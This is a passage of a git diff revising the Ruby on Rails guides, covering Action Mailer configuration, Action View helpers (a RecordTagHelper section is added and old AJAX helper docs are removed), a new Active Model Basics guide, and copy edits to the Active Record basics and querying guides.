and functional testing.| +|+template_root+|Determines the base from which template references will be made.| +|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| +|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>| +|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| +|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| +|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| +|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -464,7 +482,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -496,14 +514,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index 2b2c197f46..40cde6ad84 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -165,7 +165,7 @@ will produce <em>emphasized</em> <em><b>emph & bold</b></em> <a href="http://rubyonrails.org">A link</a> -<target option="fast" name="compile" \> +<target option="fast" name="compile" /> </html> Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following: @@ -211,7 +211,7 @@ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do end </ruby> -h5. Template caching +h5. Template Caching By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode. @@ -235,7 +235,7 @@ This will render a file named +_menu.html.erb+ at that point within the view is That code will pull in the partial from +app/views/shared/_menu.html.erb+. -h5. Using Partials to Simplify Views +h5. Using Partials to simplify Views One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -478,7 +555,6 @@ javascript_include_tag :monkey # => <script type="text/javascript" src="/javascripts/tail.js"></script> </ruby> - h5. register_stylesheet_expansion Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. @@ -615,7 +691,7 @@ atom_feed do |feed| feed.title("Posts Index") feed.updated((@posts.first.created_at)) - for post in @posts + @posts.each do |post| feed.entry(post) do |entry| entry.title(post.title) entry.content(post.body, :type => 'html') @@ -822,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -870,7 +946,7 @@ h4. FormHelper Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. -There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don‘t work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the ActionView::Helpers::FormTagHelper documentation. The core method of this helper, form_for, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: @@ -914,7 +990,7 @@ check_box("post", "validated") h5. fields_for -Creates a scope around a specific model object like form_for, but doesn‘t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: +Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form: <ruby> <%= form_for @person, :url => { :action => "update" } do |person_form| %> @@ -929,7 +1005,7 @@ Creates a scope around a specific model object like form_for, but doesn‘t crea h5. file_field -Returns an file upload input tag tailored for accessing a specified attribute. +Returns a file upload input tag tailored for accessing a specified attribute. <ruby> file_field(:user, :avatar) @@ -1037,7 +1113,7 @@ Sample usage (selecting the associated Author for an instance of Post, +@post+): collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true}) </ruby> -If @post.author_id is already 1, this would return: +If <tt>@post.author_id</tt> is 1, this would return: <html> <select name="post[author_id]"> @@ -1080,8 +1156,6 @@ Sample usage: option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) </ruby> -TODO check above textile output looks right - Possible output: <html> @@ -1132,13 +1206,13 @@ h5. select Create a select tag and a series of contained option tags for the provided object and method. -Example with @post.person_id => 1: +Example: <ruby> select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true }) </ruby> -could become: +If <tt>@post.person_id</tt> is 1, this would become: <html> <select name="post[person_id]"> @@ -1189,7 +1263,7 @@ h5. file_field_tag Creates a file upload field. -If you are using file uploads then you will also need to set the multipart option for the form tag: +Prior to Rails 3.1, if you are using file uploads, then you will need to set the multipart option for the form tag. Rails 3.1+ does this automatically. <ruby> <%= form_tag { :action => "post" }, { :multipart => true } do %> @@ -1400,102 +1474,6 @@ number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 </ruby> -h5. evaluate_remote_response - -Returns +eval(request.responseText)+ which is the JavaScript function that form_remote_tag can call in +:complete+ to evaluate a multiple update return document using +update_element_function+ calls. - -h5. form_remote_tag - -Returns a form tag that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement. Even though it‘s using JavaScript to serialize the form elements, the form submission will work just like a regular submission as viewed by the receiving side. - -For example, this: - -<ruby> -form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") } -</ruby> - -would generate the following: - -<html> -<form action="/some/place" method="post" onsubmit="new Ajax.Request('', - {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;"> -</html> - -h5. link_to_remote - -Returns a link to a remote action that's called in the background using XMLHttpRequest. You can generate a link that uses AJAX in the general case, while degrading gracefully to plain link behavior in the absence of JavaScript. For example: - -<ruby> -link_to_remote "Delete this post", - { :update => "posts", :url => { :action => "destroy", :id => post.id } }, - :href => url_for(:action => "destroy", :id => post.id) -</ruby> - -h5. observe_field - -Observes the field specified and calls a callback when its contents have changed. - -<ruby> -observe_field("my_field", :function => "alert('Field changed')") -</ruby> - -h5. observe_form - -Observes the form specified and calls a callback when its contents have changed. The options for observe_form are the same as the options for observe_field. - -<ruby> -observe_field("my_form", :function => "alert('Form changed')") -</ruby> - -h5. periodically_call_remote - -Periodically calls the specified url as often as specified. Usually used to update a specified div with the results of the remote call. The following example will call update every 20 seconds and update the news_block div: - -<ruby> -periodically_call_remote(:url => 'update', :frequency => '20', :update => 'news_block') -# => PeriodicalExecuter(function() {new Ajax.Updater('news_block', 'update', {asynchronous:true, evalScripts:true})}, 20) -</ruby> - -h5. remote_form_for - -Creates a form that will submit using XMLHttpRequest in the background instead of the regular reloading POST arrangement and a scope around a specific resource that is used as a base for questioning about values for the fields. - -<ruby> -<%= remote_form_for(@post) do |f| %> - ... -<% end %> -</ruby> - -h5. remote_function - -Returns the JavaScript needed for a remote function. Takes the same arguments as +link_to_remote+. - -<ruby> -<select id="options" onchange="<%= remote_function(:update => "options", :url => { :action => :update_options }) %>"> - <option value="0">Hello</option> - <option value="1">World</option> -</select> -# => <select id="options" onchange="new Ajax.Updater('options', '/testing/update_options', {asynchronous:true, evalScripts:true})"> -</ruby> - -h5. submit_to_remote - -Returns a button input tag that will submit form using XMLHttpRequest in the background instead of a regular POST request that reloads the page. - -For example, the following: - -<ruby> -submit_to_remote 'create_btn', 'Create', :url => { :action => 'create' } -</ruby> - -would generate: - -<html> -<input name="create_btn" onclick="new Ajax.Request('/testing/create', - {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)}); - return false;" type="button" value="Create" /> -</html> - h3. Localized Views Action View has the ability render different templates depending on the current locale. @@ -1517,9 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile new file mode 100644 index 0000000000..9c8ad24cee --- /dev/null +++ b/railties/guides/source/active_model_basics.textile @@ -0,0 +1,205 @@ +h2. Active Model Basics + +This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below - + +h4. AttributeMethods + +AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. + +<ruby> +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods ['age'] + + attr_accessor :age + +private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 ? true : false + end + +end + +person = Person.new +person.age = 110 +person.age_highest? # true +person.reset_age # 0 +person.age_highest? # false + +</ruby> + +h4. Callbacks + +Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. + +<ruby> +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + _run_update_callbacks do + # This will call when we are trying to call update on object. + end + end + + def reset_me + # This method will call when you are calling update on object as a before_update callback as defined. + end +end +</ruby> + +h4. Conversion + +If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. + +<ruby> +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person #=> true +person.to_key #=> nil +person.to_param #=> nil +</ruby> + +h4. Dirty + +An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name + +<ruby> +require 'rubygems' +require 'active_model' + +class Person + include ActiveModel::Dirty + define_attribute_methods [:first_name, :last_name] + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + last_name_will_change! + @last_name = value + end + + def save + @previously_changed = changes + end + +end +</ruby> + +h5. Querying object directly for its list of all changed attributes. + +<ruby> +person = Person.new +person.first_name = "First Name" + +person.first_name #=> "First Name" +person.first_name = "First Name Changed" + +person.changed? #=> true + +#returns an list of fields arry which all has been changed before saved. +person.changed #=> ["first_name"] + +#returns a hash of the fields that have changed with their original values. +person.changed_attributes #=> {"first_name" => "First Name Changed"} + +#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. +person.changes #=> {"first_name" => ["First Name","First Name Changed"]} +</ruby> + +h5. Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +<ruby> +#attr_name_changed? +person.first_name #=> "First Name" + +#assign some other value to first_name attribute +person.first_name = "First Name 1" + +person.first_name_changed? #=> true +</ruby> + +Track what was the previous value of the attribute. + +<ruby> +#attr_name_was accessor +person.first_name_was #=> "First Name" +</ruby> + +Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + +<ruby> +#attr_name_change +person.first_name_change #=> ["First Name", "First Name 1"] +person.last_name_change #=> nil +</ruby> + +h4. Validations + +Validations module adds the ability to class objects to validate them in Active Record style. + +<ruby> +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, :presence => true + validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i + validates! :token, :presence => true + +end + +person = Person.new(:token => "2b1f325") +person.valid? #=> false +person.name = 'vishnu' +person.email = 'me' +person.valid? #=> false +person.email = 'me@vishnuatrai.com' +person.valid? #=> true +person.token = nil +person.valid? #=> raises ActiveModel::StrictValidationFailed +</ruby> diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index b7926f3a3b..66ad7b0255 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> @@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes user.destroy </ruby> - h3. Validations Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 579a323d57..2e1f89cb78 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -13,7 +13,7 @@ endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -57,6 +57,7 @@ The methods are: * +group+ * +order+ * +reorder+ +* +reverse_order+ * +limit+ * +offset+ * +joins+ @@ -68,28 +69,28 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: +Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -99,14 +100,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -120,10 +121,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -131,16 +132,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -148,16 +149,16 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -169,15 +170,15 @@ h4. Retrieving Multiple Objects h5. Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: +<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -187,24 +188,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord:: h4. Retrieving Multiple Objects in Batches -Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. -The following may seem very straight forward at first: +This may appear straightforward: <ruby> -# Very inefficient when users table has thousands of rows. +# This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. h5. +find_each+ -To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: +The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: <ruby> User.find_each do |user| @@ -212,11 +215,15 @@ User.find_each do |user| end </ruby> -*Configuring the batch size* +h6. Options for +find_each+ + +The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +Two additional options, +:batch_size+ and +:start+, are available as well. -To fetch +User+ records in batch size of +5000+: +*+:batch_size+* + +The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -224,38 +231,42 @@ User.find_each(:batch_size => 5000) do |user| end </ruby> -*Starting batch find from a specific primary key* +*+:start+* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. -To send 